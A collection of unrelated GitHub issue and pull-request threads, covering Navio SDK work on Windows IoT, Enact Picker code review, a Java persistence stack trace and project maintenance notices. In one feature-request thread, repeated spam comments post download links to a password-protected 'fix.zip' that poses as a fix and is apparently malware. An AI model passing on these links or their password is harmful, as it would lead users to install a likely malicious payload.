text:
Upgraded project for Windows SDK 10.0.14393.0

We came across this interesting project and wanted to contribute, the instructions were excellent but we had to make a couple of minor tweaks to get it to build in our environment (Visual Studio 2015 Update 3 + Windows 10 Anniversary Edition)
We are very new to drivers and C++ so maybe some of these changes are mistakes on our part.
Some of these staged files seemed to be caused by re-targeting of the platform to the latest build.
Updated TemporaryKey Setup.cmd with new VS_KEY_E22D43B930869187
Updated Setup Local.ps1 $wpdkPath to include revised path
Replaced ScrollToVerticalOffset with ChangeView

Great. Yes this is a necessary update and the new SDK/DDK was long awaited... I will do a test then merge. I also have outstanding Lightning updates and chipset code to add.
Driver developmemt was blocked by MS broken DDK/tools a while back so Lightning was the only option then. Even that was too long in beta and missed event driven support until recently.
Now the IoT build and DDK have the update, I'm looking forward to getting these drivers back into development. The lightning provider should give some additional time/earlier functionality, may even perform well enough for a higher latency quadcopter PoC. It looks good but I expect for any mission critical/realtime use that drivers are still required.
Hopefully with the new OS build and kits it can move along quickly now ;-)

Hey @CodeChief !
We also saw the Lighting Provider as part of the Closed Loop example and agree it took them way too long to get them out to us publicly. We were considering the Lighting Provider the best way forward until we saw this project :-) It maybe that the learning curves ends up being too steep or the blockers you had identified still prevent a reasonable way forward but I thought it's worth a try.

@CodeChief - Did you see the email we sent you ? We would like to discuss something commercially sensitive.

I had a quick look and there is one general issue with this GitHub commit (at least how it looks at the GitHub.com web site). Files that have not changed appear to be included and those which only changed one setting or one line appear to have changed globally. Do you have different encoding settings of the files or GitHub client configuration? Or do you run some formatting tool which converts tabs to spaces or vice versa?
As 45 changed files are a bit over the top for what is really included, it may be faster and clearer for me to load the project in Visual Studio myself, edit the SDK version and re-apply the other changes. I must do that anyway to complete my outstanding offline changes with the Lightning event handling.
I'll add coding standards documentation soon and some settings files for the common tools if they are not default. I was considering implementing a popular free tool like CodeMaid.
Regarding the setup script, did MS move the path or did you specifically have an issue on a 32bit developer PC? Most should be 64bit which means 32bit WoW when started from a VS command prompt or really 64bit when started directly. If there is a processor specific issue then I'd prefer to use the correct environment variables to build the path. I will test it. Just like to keep the code processor agnostic wherever possible.
Once we get a baseline at the current tools versions and the settings are clear, I hope future commits should go more smoothly ;-) I'll try to sort this all out very soon...

Yep, I saw the issue you described with the files with no changes too, even weirder I didn't get the usual "You have mixed cr+lf ....." message either so I don't know what the issue was.
Coding standard document sounds good.
I'd not tried this process before so I can't tell if it's a changed path or not, I simply tried to follow the instruction and when they failed on my machine I went searching for the file and found it in the location I described. I agree we should defintely not introduce anything which is processor specific.
I'm glad you've not given up on this excellent project. Maybe you could try the upgrade yourself and see if you hit the same issues as us with the latest bits ? i'll also ask one of our engineers to do the same and see what he gets and make any adjustments to the PR that we find.

I have completed integration with my Lightning provider, actually a complete "HardwareProvider" model which will also attempt to provide basic hardware detection for the different Navio board versions. But during testing there are issues with the Lightning provider I still have to iron-out.
Side-by-side with the "inbox" (non-Lightning) driver the following is observed:

The lightning updates fails to sync at all. At least with the software provider it was able to detect the odd frame and the contents made sense (moved in relation to RC input stick movement).
The lightning provider locks-up on the second attempt to initialize a different device (I2C or GPIO doesn't matter). The device has to be rebooted before it will work again.
The lightning provider still misses the critical timestamp value whicht I requested from MS and they seemed interested in, but haven't got around to implementing.

With point 1 taking into account, this makes it worse than the current provider. Maybe their own interrupt handlers are now pushing the higher level/lower priority user mode code back so we have less chance of "after the fact" time measurement. If true, that means lightning would be useless without the timestamp property which only MS can provide, or I finish implementing in our own driver (assuming the WDK development tools work again now).
As Navio2 has hardware RC Input, I will just complete my testing and go back to the original plan, to leave RC Input as-is, add support for Navio2, then complete the other device chip support. I hope that point 2 can be resolved with a software workaround (it clearly behaves differently regarding initialization/disposal to the standard provider).
The is only a small chance, that in the final testing I discover a way to get decent timings from the lightning provider. So far it looks like a big failure. PWM value change events without a timestamp are proving to be a waste of time.

It's a shame that the Lighting provider is sub-optimal at best, so is the plan to go with a full custom device driver for all the performance critical elements ?

add support for Navio2

What is the status of the second SPI driver, has it been implemented by MS yet?

@ivereninov - Is that really true :-( I thought this was a limitation of the UpBoard rather than Windows IoT.
Busy doing googling now :-)

@johnkattenhorn both is true :) UpBoard does not have the interface physically, while Windows IoT does not seem to support it in software. Linux does support it. Either MS should write the driver or it has to be implemented in user space.

That's not so good then :-(
Do you have any links that shares that information ? Just to replay my understanding you access both in User Space (say in C#) but not in Kernel Space (C++ Driver) ?

Sorry, I do not understand Windows well, so this is about as much info as I have. @CodeChief is aware of the issue, so maybe he knows what the status of the driver is.

The second SPI bus is available at the low level but is blocked by default from user mode access. There is a BIOS hack to get access to it from user mode, but I doubt it will then appear in the standard "providers" as they seem to have blocked access quite deliberately (some constructors/providers are missing, only have "GetDefault" methods).
This article explains how and includes an exact example of SPI1 configuration: https://msdn.microsoft.com/en-us/windows/uwp/devices-sensors/enable-usermode-access
I already created some initial ACPI table source, checked-in under the "Drivers\ACPI" path along with a batch file to help compile it properly. Once compiled you just copy the ACPITABL.DAT to the "C:\Windows\System32" directory and reboot. It's what you do normally (along with DEVCON) to install a custom driver.
If you get something wrong it will at least hang. Messing around with hardware pin mappings and driver modes could cause damage I suppose, so  I wouldn't play around with it too much. The current ASL is configured to map GPIO4 to our "NAVI0001" device driver. I plan to add pins one at a time as each driver is ready. As I'm looking at the whole device initialization issues right now I'll give that 2nd SPI bus a go for you and check-in with the coming update.
To see what it looks like, here is another example of how you can also use the ACPI table to expose a new device to an existing driver which supports the device and bus type: http://www.nxp.com/documents/application_note/AN11767.pdf
The ACPITABL.DAT file seems like a totally hard-coded one-off extension point to me so any manufacturer provided setup routines for RasPi HATs will immediately conflict unless they write their own ACPI aware ASL recompilation into the setup routines. It remains to be seen what MS will provide for OEM HAT driver deployment. Maybe nothing, as embedded projects are typically single purpose devices I suppose we are talking about vendors shipping pre-built images on SD cards with carefully prepared ACPI tables pointing to their chosen driver stack.
What we should do here is (at completion) provide a complete ACPITABL.DAT for each Navio model, which system builders can use to create their own finished devices, or users use indirectly via prepared SD card images, or manually with instructions/setup routine when building their own image.

Hey @CodeChief, As i mentioned before we are looking to commit some full time resource to this project and therefore I think I will close this PR and reboot our fork from another GitHub account, we had a lot of issues with the file changes anyway. I'll keep the Applicita one around for reference.

All checked-in now. By the way the VS_KEY stuff is unique to each developer machine. So I've updated the TemporaryKey scripts and added documentation to explain that. There are plenty of other changes you will see too.  Lots of refactoring and tidy-up. Hardware device access is now much easier, moving towards automatic detection of the hardware model and separation of the chipset code where it makes sense.
The lightning provider does kind of work, but only sometimes better than others. Running the RC Input C# sample (without the whole test GUI) now has more sensible data. As Microsoft promised full tmestamp and PWM buffer support it really doesn't make sense to do anything more here until that is released. So best leave the IoT driver set at the default "inbox" mode if you want to do any demonstrations with this SDK version.
There are still some niggly issues with the build and deployment. The authentication mode "None" is best substituted with "Universal" for a reliable deploy/debug session.  And regardless of mode it fails sometimes.
I will also reboot the driver development,. The only reason I stopped is because it was broken a long time ago by the MS image/VS/WDK updates. That is supposed to be fixed now, so I'm eager to test it. The RC Input C++ sample is a stub I am using to test direct driver communication. The RC Input driver will be completed regardless because that is the ideal as a template for the others.
The only thing I didn't manage to complete yet is investigating access to the second SPI bus. I will open another issue for that.

@CodeChief, that's really good news; we will re-base our work on the latest bits.

authors: CodeChief ivereninov johnkattenhorn

repo: emlid/Navio-SDK-Windows-IoT


text:
How to handle rsgi app startup and graceful shutdown?

It seems the RSGI interface doesn't have lifespan support like asgi?

At the moment (RSGI 1.4) there's just support for an initialization method.
Your app can have an __rsgi_init__ method which should accept loop as the only argument.
You can take a look at emmett (https://github.com/emmett-framework/emmett/blob/v2.5.9/emmett/app.py#L439-L440) for an example.
There are currently no plans to support a shutdown event, unless specific use-cases emerge for that.

source: gharchive/issue

repo: emmett-framework/granian

license_type: permissive

license_source: github-api


text:
[Feature Request]: 2SP-related stuff

Describe the feature you'd like to see added
This game can certainly be more like the arcade, incl. credits display, animation sequence using actual sprites, etc....
You can even revive the actual demo mode screens as well (lol, that might take a long time to code).

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Wow, Github has bots posting garbage now? The Dropbox link doesn't even work, either. lol

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Spam above looks like a sitewide thing, weird https://www.google.com/search?q="In+the+installer+menu%2C+select"+"gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

idea: you can write some custom text on the area that supposed to display credits on 2SP mode and the title screen. (lol you can write a CREDIT(S) 0 there)

since the original issue's closed, I'll just put them here.
C2C needs to revive the animation on 5A(volcano) and 5D(rocket) endings when GOAL.

authors: Dev-Victor-Rodrigues GendiAstaNugraha Sonic-TV Tenome emoose llowvxe pilot5657

license: MIT


text:
Can this plugin support CoAP over TCP?

Hi,
Can this plugin support CoAP over TCP?
Thanks!

No.
On Aug 30, 2018, 2:55 PM +0800, Alex Duan notifications@github.com, wrote:
Hi,
Can this plugin support CoAP over TCP?
Thanks!
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHubhttps://github.com/emqx/emqx-coap/issues/84, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ATh-0w5zy3hMuvxMGnyttZR9tMnCJx6Mks5uV4xtgaJpZM4WS4ci.

repo: emqx/emqx-coap


text:
FORTECH-44 Add RangePicker to Agate

Feature Added
Added new component RangePicker
Moved common logic with the Picker component to an internal component
Enact-DCO-1.0-Signed-off-by: Daniel Stoian daniel.stoian@lgepartner.com

I put a question on Zeplin regarding this matter
Solved
If the others agree with this, I  don't have a problem applying it

Don't we need to support "wheel up/down" and "drag up/down"? From the comment, From the GUI comment it ways The operation of the Picker is the same as the iOS Date Picker.
GUI guide shows upper 2 items and lower 2 items. How can we show?

Hello, Yes, this will need to support "wheel up/down" and "drag up/down" in the end.
BUT, I put the question on the GUI egarding the transition after I gave this PR for review.
The comment flow on the GUI is not finished yet, some other screens being expected to be sent.
At this moment, I want to receive feedback regarding the implementation without "wheel up/down" and "drag up/down" functionality because The PR is quite big as it is.

Hello @daniel-stoian-lgp
There are some visual regression which break some skins except silicon.
DateTimePicker

Agate Gallium

Diff

develop Sampler

your branch Sampler

Checklist
npm run parse - Failed

[ ] Known parse errors: ThumbnailItem, useChainRefs
[ ] Invalid reference: agate/Picker.PickerDecorator: type: mixes - Picker in /Users/yb.sung/Documents/_Work/docs/raw/agate/Picker/Picker.js:128

npm run test-ss - Failed

[ ] DateTimePicker - Agate Gallium

npm run test-ui - Passed

Invalid reference: agate/Picker.PickerDecorator: type: mixes - Picker in /Users/yb.sung/Documents/_Work/docs/raw/agate/Picker/Picker.js:128

Please check my commit to fix js doc parse errors.
https://github.com/enactjs/agate/commit/1ad4ba6a801eabab73cc5489fa9bdab4c693b930

Hello @daniel-stoian-lgp
There are some visual regression which break some skins except silicon.
DateTimePicker

Agate Gallium

Diff

develop Sampler

your branch Sampler

Reverted to the original colors

Remark:
Module: =====================
Component: -----------------------------
⇧: HoC
↓: Composition
+: public prop
-: private prop

Before PR
Picker module
=====================
Picker module
=====================
+ Picker
+ PickerBase
+ PickerDecorator
=====================

Picker
IdProvider, Changeable, Skinnable
⇧
-----------------------------
PickerDecorator
-----------------------------
@ mixes IdProvider
@ mixes Changeable
@ mixes Skinnable
-----------------------------
⇧
-----------------------------
Picker
-----------------------------
↓
-----------------------------
PickerBase
-----------------------------
+ children
+ 'aria-valuetext'
+ decrementAriaLabel
- id
+ incrementAriaLabel
+ value: 0
-----------------------------
↓
div
↓
child ( from props.children )

After PR
Picker module
=====================
Picker module
=====================
+ Picker
+ PickerBase
+ PickerDecorator
=====================

Picker
IdProvider, Changeable, Skinnable
⇧
-----------------------------
PickerDecorator = internal/Picker.PickerDecorator
-----------------------------
⇧
-----------------------------
Picker
-----------------------------
↓
-----------------------------
PickerBase
-----------------------------
+ children
+ disabled
+ onChange
+ orientation
+ value: 0
-----------------------------
↓
internal/Picker
↓
PickerItem
↓
Marquee
↓
div
↓
child ( from props.children )

internal/Picker module
=====================
internal/Picker module
=====================
+ Picker
+ PickerDecorator
=====================

internal/Picker.Picker
-----------------------------
internal/Picker.PickerDecorator
-----------------------------
@ mixes IdProvider
@ mixes Changeable
@ mixes Skinnable
-----------------------------
⇧
-----------------------------
internal/Picker.Picker
-----------------------------
↓
-----------------------------
internal/Picker.PickerBase
-----------------------------
+ index
+ max
+ min
+ 'aria-valuetext'
+ children
+ className
+ decrementAriaLabel
+ disabled
- id
+ incrementAriaLabel
+ onChange
+ orientation: 'vertical'
+ step: 1
+ value: 0
-----------------------------
↓
PickerViewManager

Hello @daniel-stoian-lgp
Before reviewing your code in detail,
I'd like to share some comments because your patch affects other skins.

We hope that we do not break any APIs until we make a decision.

In agate/Picker.Picker,
aria-valuetext, decrementAriaLabel, and incrementAriaLabel are removed from the its propTypes. Pickers might work properly because those props are handled in agate/internal/Picker.Picker. But app developers could think that some APIs are removed. In this case, please leave the related comments.
If those props are not handled in the agate/Picker.Picker, then we could define them out of it.
const PickerBase = kind({
	name: 'Picker',

	propTypes: /** @lends agate/internal/Picker.Picker.prototype */ {
	...
});

/**
 * Sets the hint string read when focusing the decrement button.
 *
 * name decrementAriaLabel
 * @memberof agate/Picker.Picker.prototype
 * @default 'previous item'
 * @type {String}
 * @public
 */

agate/RangePicker.RangePicker's orientation prop is also not handled in the RangePicker. So you could define its JSDoc out of the RangePicker.

Please preserve the previous behavior in other skins.
The child from the props.children was wrapped with just div. But now it is wrapped with Marquee. I don't know that we should apply Marquee to all Picker's content for all skins.

internal/Picker becomes heavy including PickerViewManager.
I think that it might be better to provide any type so that some special logics could be applied depending on the type.

@daniel-stoian-lgp
I know that we need to change lots of tests and jsdocs when changing component hierarchy. For me as a reviewer, it's fine to defer to update them until the hierarchy has been concreated.

Depending on the picker item content, the picker item width changes. It might not be changed.

When launching the RangePicker sampler, the content with 4 has focused even though not hovering on it.

I fixed minor things.

Reroder exported modules internal/Picker/Picker.js.
Remove the step default value, paddings in RangePicker sampler.
Define defaultValue in RangePicker sampler. If not, there is a warning because the value prop is required As roy mentioned, I don't allow to modify the default value.

defaultValue shouldn't be used in samplers. Use value and control it or don't modify the default value for already created controls.

@daniel-stoian-lgp, this PR was complaining about the CLA. I know you've set it up in the past, because this is the first time it's showed up, so maybe it needs to be re-issued? We're ok now, but if you could look into it, that'll help us out. Thanks!

source: gharchive/pull-request

authors: Djspaceg daniel-stoian-lgp ybsung

repo: enactjs/agate


text:
WRN-12775: Add a reset skin button.

Checklist

[X] I have read and understand the contribution guide
[ ] A CHANGELOG entry is included
[ ] At least one test case is included for this feature or bug fix
[X] Documentation was added or is not needed
[ ] This is an API breaking change

Issue Resolved / Feature Added
Added a button that will reset the skin to the initial state and fixed some minor problems.
Resolution
Additional Considerations
Links
WRN-12775
Comments

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.5 out of 13 committers have signed the CLA.:white_check_mark: juwonjeong:white_check_mark: jeonghee27:white_check_mark: sjro:white_check_mark: alexandrumorariu:white_check_mark: adrian-cocoara-lgp:x: Teck:x: JayCanuck:x: RenukaAtale:x: sugardave:x: 0x64:x: YunhoLee0:x: stanca-pop-lgp:x: daniel-stoian-lgpTeck seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.

authors: CLAassistant alexandrumorariu

repo: enactjs/samples


text:
Update scalafmt-core to 3.5.2

Updates org.scalameta:scalafmt-core from 3.5.1 to 3.5.2.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.scalameta", artifactId = "scalafmt-core" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequest = { frequency = "@monthly" },
  dependency = { groupId = "org.scalameta", artifactId = "scalafmt-core" }
}]

labels: library-update, early-semver-patch, semver-spec-patch, commit-count:1

Superseded by #123.


text:
ansible: add ansible 9

https://groups.google.com/g/ansible-project/c/OzlmReOl8vs
https://docs.ansible.com/ansible/latest/reference_appendices/release_and_maintenance.html#ansible-community-package-release-cycle

np!


text:
Enable additional instrumentation sources to be defined in "buster-istanbul" config section

When running in a node environment, adding the sources to the global array can be undesirable as buster automatically calls require on the sources and runs the source code.
This change adds the ability to put a sources array into the local configuration which will be globbed and then added to the collection of files to instrument.
This allows files to be instrumented without also being executed.

+1 Can't wait.

+1
Could we get this merged in please?

One of my colleagues got hold of the devs (We have some PRs in other buster projects) and they indicated they no longer use buster themselves. If you want this functionality, I have forked this repo at https://github.com/major-mann/buster-istanbul

authors: CorWatts alexindigo major-mann

repo: englishtown/buster-istanbul

license: mit

license_source: bigquery


text:
Any guidance on the underlying grid?

Hi There,
Is there  a way to alter the grid framework of SuperTable? Tring to integrate a flexbox based grid like (flexboxgrid.com).
Thanks
Vilav

Not really sure I understand what you're after. If you're looking to build anything on the front end, you've got full control over how to present your data - just like any field in Craft. Other than that, there's no grid framework in use to alter.

Closing for the moment - please respond with clarification on your issue and we'll revisit. Thanks!

authors: engram-design vilav

repo: engram-design/SuperTable


text:
Adds missing translate filter to table input

The table headers for the table input are missing the |t filter, which is a bit annoying (I use namespacing for the actual values, in order to have a fully translated CP.

Thanks, well picked up!

authors: engram-design mmikkel


text:
Constraint violation using admin gui

Still not able to reproduce (sorry), but the gui throws the following exception in jqm.log from times to times:

09/01 18:51:28.060|WARN |qtp1939501978-1988                      |ServletHandler   |/ws/admin/jd
javax.persistence.RollbackException: Error while committing the transaction
        at org.hibernate.ejb.TransactionImpl.commit(TransactionImpl.java:92)
        at com.enioka.jqm.api.ServiceAdmin.setItems(ServiceAdmin.java:176)
        at com.enioka.jqm.api.ServiceAdmin.setJobDefs(ServiceAdmin.java:458)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:60)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
        at java.lang.reflect.Method.invoke(Method.java:611)
        at org.glassfish.jersey.server.model.internal.ResourceMethodInvocationHandlerFactory$1.invoke(ResourceMethodInvocationHandlerFactory.java:81)
        at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher$1.run(AbstractJavaResourceMethodDispatcher.java:151)
        at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher.invoke(AbstractJavaResourceMethodDispatcher.java:171)
        at org.glassfish.jersey.server.model.internal.JavaResourceMethodDispatcherProvider$VoidOutInvoker.doDispatch(JavaResourceMethodDispatcherProvider.java:136)
        at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher.dispatch(AbstractJavaResourceMethodDispatcher.java:104)
        at org.glassfish.jersey.server.model.ResourceMethodInvoker.invoke(ResourceMethodInvoker.java:406)
        at org.glassfish.jersey.server.model.ResourceMethodInvoker.apply(ResourceMethodInvoker.java:350)
        at org.glassfish.jersey.server.model.ResourceMethodInvoker.apply(ResourceMethodInvoker.java:106)
        at org.glassfish.jersey.server.ServerRuntime$1.run(ServerRuntime.java:259)
        at org.glassfish.jersey.internal.Errors$1.call(Errors.java:271)
        at org.glassfish.jersey.internal.Errors$1.call(Errors.java:267)
        at org.glassfish.jersey.internal.Errors.process(Errors.java:315)
        at org.glassfish.jersey.internal.Errors.process(Errors.java:297)
        at org.glassfish.jersey.internal.Errors.process(Errors.java:267)
        at org.glassfish.jersey.process.internal.RequestScope.runInScope(RequestScope.java:319)
        at org.glassfish.jersey.server.ServerRuntime.process(ServerRuntime.java:236)
        at org.glassfish.jersey.server.ApplicationHandler.handle(ApplicationHandler.java:1028)
        at org.glassfish.jersey.servlet.WebComponent.service(WebComponent.java:373)
        at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:381)
        at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:344)
        at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:219)
        at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:684)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1496)
        at com.enioka.jqm.api.LogFilter.doFilter(LogFilter.java:81)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1484)
        at org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:118)
        at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1476)
        at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:501)
        at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:137)
        at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:557)
        at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:231)
        at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1086)
        at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:429)
        at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:193)
        at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1020)
        at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:135)
        at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:154)
        at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:116)
        at org.eclipse.jetty.server.Server.handle(Server.java:370)
        at org.eclipse.jetty.server.AbstractHttpConnection.handleRequest(AbstractHttpConnection.java:494)
        at org.eclipse.jetty.server.AbstractHttpConnection.content(AbstractHttpConnection.java:982)
        at org.eclipse.jetty.server.AbstractHttpConnection$RequestHandler.content(AbstractHttpConnection.java:1043)
        at org.eclipse.jetty.http.HttpParser.parseNext(HttpParser.java:865)
        at org.eclipse.jetty.http.HttpParser.parseAvailable(HttpParser.java:240)
        at org.eclipse.jetty.server.AsyncHttpConnection.handle(AsyncHttpConnection.java:82)
        at org.eclipse.jetty.io.nio.SelectChannelEndPoint.handle(SelectChannelEndPoint.java:696)
        at org.eclipse.jetty.io.nio.SelectChannelEndPoint$1.run(SelectChannelEndPoint.java:53)
        at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608)
        at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543)
        at java.lang.Thread.run(Thread.java:738)
Caused by: javax.persistence.PersistenceException: org.hibernate.exception.ConstraintViolationException: could not execute statement
        at org.hibernate.ejb.AbstractEntityManagerImpl.convert(AbstractEntityManagerImpl.java:1387)
        at org.hibernate.ejb.AbstractEntityManagerImpl.convert(AbstractEntityManagerImpl.java:1310)
        at org.hibernate.ejb.TransactionImpl.commit(TransactionImpl.java:80)
        ... 56 more
Caused by: org.hibernate.exception.ConstraintViolationException: could not execute statement
        at org.hibernate.exception.internal.SQLExceptionTypeDelegate.convert(SQLExceptionTypeDelegate.java:74)
        at org.hibernate.exception.internal.StandardSQLExceptionConverter.convert(StandardSQLExceptionConverter.java:49)
        at org.hibernate.engine.jdbc.spi.SqlExceptionHelper.convert(SqlExceptionHelper.java:124)
        at org.hibernate.engine.jdbc.spi.SqlExceptionHelper.convert(SqlExceptionHelper.java:109)
        at org.hibernate.engine.jdbc.internal.ResultSetReturnImpl.executeUpdate(ResultSetReturnImpl.java:189)
        at org.hibernate.engine.jdbc.batch.internal.NonBatchingBatch.addToBatch(NonBatchingBatch.java:59)
        at org.hibernate.persister.entity.AbstractEntityPersister.delete(AbstractEntityPersister.java:3355)
        at org.hibernate.persister.entity.AbstractEntityPersister.delete(AbstractEntityPersister.java:3558)
        at org.hibernate.action.internal.EntityDeleteAction.execute(EntityDeleteAction.java:102)
        at org.hibernate.engine.spi.ActionQueue.execute(ActionQueue.java:395)
        at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:387)
        at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:310)
        at org.hibernate.event.internal.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:349)
        at org.hibernate.event.internal.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:56)
        at org.hibernate.internal.SessionImpl.flush(SessionImpl.java:1159)
        at org.hibernate.internal.SessionImpl.managedFlush(SessionImpl.java:404)
        at org.hibernate.engine.transaction.internal.jdbc.JdbcTransaction.beforeTransactionCommit(JdbcTransaction.java:101)
        at org.hibernate.engine.transaction.spi.AbstractTransactionImpl.commit(AbstractTransactionImpl.java:175)
        at org.hibernate.ejb.TransactionImpl.commit(TransactionImpl.java:75)
        ... 56 more
Caused by: java.sql.SQLIntegrityConstraintViolationException: ORA-02292: integrity constraint (REC2JQM.FK_6DCK6P225LQTEOROAAJALO6K4) violated - child record found

        at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:440)
        at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:396)
        at oracle.jdbc.driver.T4C8Oall.processError(T4C8Oall.java:837)
        at oracle.jdbc.driver.T4CTTIfun.receive(T4CTTIfun.java:445)
        at oracle.jdbc.driver.T4CTTIfun.doRPC(T4CTTIfun.java:191)
        at oracle.jdbc.driver.T4C8Oall.doOALL(T4C8Oall.java:523)
        at oracle.jdbc.driver.T4CPreparedStatement.doOall8(T4CPreparedStatement.java:207)
        at oracle.jdbc.driver.T4CPreparedStatement.executeForRows(T4CPreparedStatement.java:1010)
        at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:1315)
        at oracle.jdbc.driver.OraclePreparedStatement.executeInternal(OraclePreparedStatement.java:3576)
        at oracle.jdbc.driver.OraclePreparedStatement.executeUpdate(OraclePreparedStatement.java:3657)
        at oracle.jdbc.driver.OraclePreparedStatementWrapper.executeUpdate(OraclePreparedStatementWrapper.java:1350)
        at org.hibernate.engine.jdbc.internal.ResultSetReturnImpl.executeUpdate(ResultSetReturnImpl.java:186)
        ... 70 more

Ouch. This can be viewed from two points of view:

the API does not remove History and JI related to removed referential items (or rather set references to null)
Model cascade are not specified.

Cleaner way to correct this is certainly option 2, but this may have consequences everywhere afterwards and would require extensive testing.

I confess that i delete manually in database some JI (due to issue #158 you kindly squashed week). That may be the root cause of this issue. Nevertheless, it needs some hardening.
So the priority of this bug is quite low if it only happen when someone directly manipulate data in SQL.

Not linked to your manual purge, but rather to the deletion of a JobDef or a Queue from the admin GUI. This is an API bug - the linked elements through an FK are not purged (or the FK set to null).
Actually rather important - this is an option offered in the GUI, so this should work out of the box.
As cascade are mostly ON DELETE CASCADE in JPA and do not offer option ON DELETE SET NULL, we should manualy do the purge Inside the API.

authors: digitalfox marcanpilami

repo: enioka/jqm


text:
⚡ Enketo seeking new maintainers ⚡

Since 2021, Enketo has been primarily maintained by the ODK team. Prior to that, it was maintained by its creator, Martijn, supported by funding and guidance from a range of organizations.
The ODK team will be stepping down as primary maintainers at the end of 2024. We are currently seeking individuals and organizations to ensure continued support of Enketo. If you are interested in being part of Enketo’s next chapter, please share a little bit about your availability and ideas for the platform in the comments.
When the ODK team started exploring taking on Enketo maintenance, we started by doing code review and taking on increasingly challenging development tasks until we were ready to have commit access. At this time, we also convened other organizations relying on Enketo to understand their needs. We are imagining a similar transition now but are also open to alternative process suggestions.

Thanks for posting this and for all the maintenance done over the last years. As previously discussed with @yanokwa, we at Kobo certainly can and want to take maintenance over from getODK later this year.
As you know, we worked closely with Martijn since 2014 to make Enketo a fully open source project and to create Enketo Express, as well as to cover most bug fixes and maintenance until around 2019. So we are absolutely delighted to take up this role again.

Thank you ODK for all the work you have done as maintainers of Enketo!
@tinok thank you for your willingness to take over Enketo maintenance. OpenClinica team is committed to continuing our support and contributions to Enketo development. We look forward to working with you as you take over maintenance from ODK!

Closing as @tinok and team ramp up to take on this role!

authors: lognaturel svadla-oc tinok yanokwa

repo: enketo/enketo


text:
🛑 Seflk is down

In 62b0235, Seflk (https://seflk.org) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Seflk is back up in 179f065 after 14 minutes.

repo: enlivenonedrive/upptime


text:
[BUG] 「飛ばない」「飛んでる」などの変換がおかしい

Describe the bug (不具合を説明してください)
「飛ばない」「飛んでる」などで妥当な候補が表示されない不具合がある。
To Reproduce (どのような手順で実行すると不具合が生じるのか、詳しく教えてください)
Steps to reproduce the behavior:

「とんでる」を入力する

Expected behavior (どういう動作になるのが正しいと思いますか？)
「飛んでる」「跳んでる」などが最初の候補となる。
Environment (環境を詳しく教えてください):

Device: iPhone 12 mini
iOS / iPadOS and its version: iOS 16.3
App Running Keyboard: any app
App Version 2.0

おそらく、辞書生成モジュール側の不具合

辞書生成モジュールの処理の変更で修正できたのでクローズ

repo: ensan-hcl/azooKey


text:
Fix regression in non-Syntastic typecheck error highlighting

Regression from #328 where I didn't properly cast Vim's string '0' result from the Syntastic feature detection to Boolean, and escaping was doubled when changing highlight match pattern to a Python raw string.
